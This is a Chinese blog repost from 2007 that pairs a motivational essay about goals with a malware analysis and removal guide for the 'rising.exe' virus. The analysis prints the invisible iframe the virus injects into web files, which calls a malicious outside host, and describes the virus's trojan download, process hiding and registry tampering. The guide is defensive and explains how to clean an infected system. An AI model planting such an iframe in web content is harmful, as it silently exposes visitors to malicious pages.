月份：2007年5月

转自：成功的道路是目标铺出来的: http://www.student.gov.cn/zxpd/hs4799.htm

转帖正文：

**********************************************************************

成功的道路是目标铺出来的                                                               蒋光宇

                       

心理学家曾经做过这样一个实验：

组织三组人，让他们分别向着10千米以外的三个村子进发。

第一组的人既不知道村庄的名字，又不知道路程有多远，只告诉他们跟着向导走就行了。刚走出两三千米，就开始有人叫苦；走到一半的时候，有人几乎愤怒了，他们抱怨为什么要走这么远，何时才能走到头，有人甚至坐在路边不愿走了；越往后走，他们的情绪也就越低落。

第二组的人知道村庄的名字和路程有多远，但路边没有里程碑，只能凭经验来估计行程的时间和距离。走到一半的时候，大多数人想知道已经走了多远，比较有经验的人说：“大概走了一半的路程。”于是，大家又簇拥着继续向前走。当走到全程的3/4的时候，大家情绪开始低落，觉得疲惫不堪，而路程似乎还有很长。当有人说：“快到了!”“快到了!”大家又振作起来，加快了行进的步伐。

第三组的人不仅知道村子的名字、路程，而且公路旁每一千米就有一块里程碑。人们边走边看里程碑，每缩短一千米大家便有一小阵的快乐。行进中他们用歌声和笑声来消除疲劳，情绪一直很高涨，所以很快就到达了目的地。

心理学家得出了这样的结论：当人们的行动有了明确目标的时候，并能把自己的行动与目标不断地加以对照，进而清楚地知道自己的行进速度和与目标之间的距离，人们行动的动机就会得到维持和加强，就会自觉地克服一切困难，努力达到目标。

这使人联想到罗斯福总统的夫人与萨尔洛夫将军的一次对话。罗斯福总统的夫人在本宁顿学院念书的时候，打算在电讯业找一份工作，以补助生活 。她的父亲为她引见了自己的一个好朋友——当时担任美国无线电公司董事长的萨尔洛夫将军。

将军热情地接待了她，并认真地问：“想做哪一份工作?”

她回答说：“随便吧。”

将军神情严肃地对她说：“没有任何一类工作叫‘随便’。”

片刻之后，将军目光逼人，以长辈的口吻提醒她说：“成功的道路是目标铺出来的。”

如果人生没有目标，就好比在黑暗中远征。人生要有目标，一辈子的目标，一个时期的目标，一个阶段的目标，一个年度的目标，一个月份的目标，一个星期的目标，一天的目标……一个人追求的目标越高越直接，他进步得就越快，对社会也就越有益。有了崇高的目标，只要矢志不渝地努力，就会成为壮举。

如果将心理学家的结论用哲人的语言来表达，那就是：“伟大的目标构成伟大的心灵 ，伟大的目标产生伟大的动力，伟大的目标形成伟大的人物。”

                           文章来源:(《思维与智慧》2004年第12期)

                           摘自首都科技网

***************************************************************************

                       转载完毕

很想好好学习一门语言，毅力才是外婆最缺乏的。。

转载者前言：

尽管我是小心又小心，不过前几天不知什么时候电脑里的windows xp sp2出现异常：

1、在进程中出现junhui.exe等等陌生的进程；

2、在几个分区的根目录下出现rising.exe的文件；

3、一些可执行文件的文件属性被改，如：公司名称改为：番茄花园，原始文件名改为：fso.exe等等（如果没有记错的话，基本上是这样的）；

4、可执行文件的后缀由exe改为eve了，然后重新有一个不同字节长度的exe文件；

5、后来，双击分区不能打开分区了，出现打开方式对话框；

6、发现一些陌生的exe文件和dll文件在C盘的一些目录中。

经查，是中了一个叫番茄花园的病毒。因为这个xp系统用了可能好几个月没有重装了，加上又中了这么一个难缠的病毒，把windows分区全部删除（C盘是NTFS格式）并格式化，重新装了xp系统。

后来，查到一篇详细介绍这个病毒的文章，就把它转载到这里了。

××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××

转自：番茄花园病毒rising.exe(修改系统时间并感染exe)的清除: http://www.45it.com/Article/pcedu/Safety/200705/15794.htm

番茄花园病毒rising.exe(修改系统时间并感染exe)的清除

作者:newcentu… 　　文章出处:剑盟 　　更新时间:2007-5-5

　　今天发现此种病毒求助者见多，收到样本后，利马测试了一下。该病毒就是前些日子流行的“修改系统时间”的病毒之变种。此次变种可谓是集N种破坏性病毒之大成了。主要破坏功能有：1.感染exe 并使得被感染的exe的公司等属性变为“番茄花园”

　　2.感染html asp 等文件 插入恶意代码

　　3.通过双击磁盘启动

　　4.下载木马，盗取网游帐号

　　5.修改注册表 使系统无法显示隐藏文件

　　6.通过hook API 函数 导致任务管理器中 无法看见其进程

　　分析报告如下：

 File: rising.exe

Size: 64775 bytes

File Version: 1.00

MD5: 86311B37D938BB35645E7B092014DD63

SHA1: 47C324A5A691DD31DC0410E51ADBD35065E6C7C3

CRC32: 88ABBD9B

rising.exe 运行后 首先释放一个rising.eve的文件 然后由rising.exe启动他

之后 释放139CA82A.EXE 139CA82A.dll（随机的8个数字字母组合成的文件名）到系统文件夹

注册服务139CA82A.EXE

139CA82A.EXE控制winlogon进程 使得139CA82A.dll插入几乎所有进程

释放rising.exe 和autorun.inf 到每个分区 使得双击磁盘启动

感染 除系统分区外的exe文件 使得其公司名全变为 番茄花园

感染 html asp 等文件 在其后面插入代码

<iframe src="http://web.yulett.cn/count.htm" width="0" height="0" frameborder="0"></iframe>

修改系统时间 随机把年份往前调 月，日不变

修改 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue:

值为 0x00000000

导致无法显示临时文件

rising.exe 还会hook 多个 API函数 使其进程在任务管理器中隐藏

使用Explorer.exe连接网络 61.152.92.98:80下载木马

下载的木马一般为K117815XXXXX.exe

XXXXX代表随机

到系统文件夹

由于 每台机器上下载的木马的名称不同 但最后结果相同 所以中间释放的过程省略

最后 这些木马运行后分别释放了如下文件

C:\WINDOWS\system32\buchehuo.exe（创建了服务inetsvr）

C:\WINDOWS\system32\cmdbs.dll

C:\WINDOWS\cmdbs.exe

C:\WINDOWS\system32\Kvsc3.dll

C:\WINDOWS\Kvsc3.exe

C:\WINDOWS\system32\mppds.dll

C:\WINDOWS\mppds.exe

C:\WINDOWS\system32\msccrt.dll

C:\WINDOWS\msccrt.exe

C:\WINDOWS\system32\winform.dll

C:\WINDOWS\winform.exe

C:\WINDOWS\system32\winsock.exe

临时文件夹下 释放upxdnd.exe和upxdnd.dll

　　解决办法：

　　安全模式下(开机后不断 按F8键 然后出来一个高级菜单 选择第一项 安全模式 进入系统)

　　首先把系统日期 改回来

　　然后打开sreng(可到down.45it.com下载)

　　启动项目 注册表 删除如下项目

 <upxdnd><C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\upxdnd.exe> []

<msccrt><C:\WINDOWS\msccrt.exe> []

<cmdbs><C:\WINDOWS\cmdbs.exe> []

<mppds><C:\WINDOWS\mppds.exe> []

<Kvsc3><C:\WINDOWS\Kvsc3.exe> []

<winform><C:\WINDOWS\winform.exe> []

　　“启动项目”-“服务”-“Win32服务应用程序”中点“隐藏经认证的微软项目”，

　　选中以下项目，点“删除服务”，再点“设置”，在弹出的框中点“否”：

 139CA82A / 139CA82A

Wireless Zero Conflguration / inetsvr

把下面的 代码拷入记事本中然后另存为1.reg文件

 Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]

"RegPath"="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"

"Text"="@shell32.dll,-30500"

"Type"="radio"

"CheckedValue"=dword:00000001

"ValueName"="Hidden"

"DefaultValue"=dword:00000002

"HKeyRoot"=dword:80000001

"HelpID"="shell.hlp#51105"

　　双击1.reg把这个注册表项导入注册表

　　然后双击我的电脑－工具－文件夹选项－查看－显示所有文件和文件夹，把“隐藏受保护的系统文件”的勾去掉。

　　右键 点击C盘 点击右键菜单中的“打开”打开C盘 （千万不要双击）（如图）

　　删除 如下文件

 C:\rising.exe

C:\autorun.inf

C:\WINDOWS\system32\buchehuo.exe

C:\WINDOWS\system32\cmdbs.dll

C:\WINDOWS\cmdbs.exe

C:\WINDOWS\system32\Kvsc3.dll

C:\WINDOWS\Kvsc3.exe

C:\WINDOWS\system32\mppds.dll

C:\WINDOWS\mppds.exe

C:\WINDOWS\system32\msccrt.dll

C:\WINDOWS\msccrt.exe

C:\WINDOWS\system32\winform.dll

C:\WINDOWS\winform.exe

C:\WINDOWS\system32\winsock.exe

C:\WINDOWS\unspapik.txt

C:\WINDOWS\wiasevct.txt

C:\WINDOWS\wiasvctr.txt

C:\WINDOWS\ganran.txt

C:\WINDOWS\system32\139CA82A.DLL（随机的8个数字字母组合成的文件名）

C:\WINDOWS\system32\139CA82A.EXE（随机的8个数字字母组合成的文件名）

C:\WINDOWS\system32\K117815XXXXX.exe（XXXXX代表随机数字）

清空C:\Documents and Settings\用户名\Local Settings\Temp

　　右键 点击分别打开系统分区以外的分区 还是点击右键菜单中的“打开” （千万不要双击）

　　删除每个分区下面的autorun.inf和rising.exe文件

　　最后使用专杀 全盘杀毒(可到down.45it.com下载)

　　电脑软硬件应用编辑注：本文来源为：剑盟论坛，作者newcentury，本文为在原创作者的基础上进行整理和修改上建立的。如有疑问请请发布评论即可。我们会做相关处理。谢谢支持和合作

*****************************************************************************************************

                                转帖完毕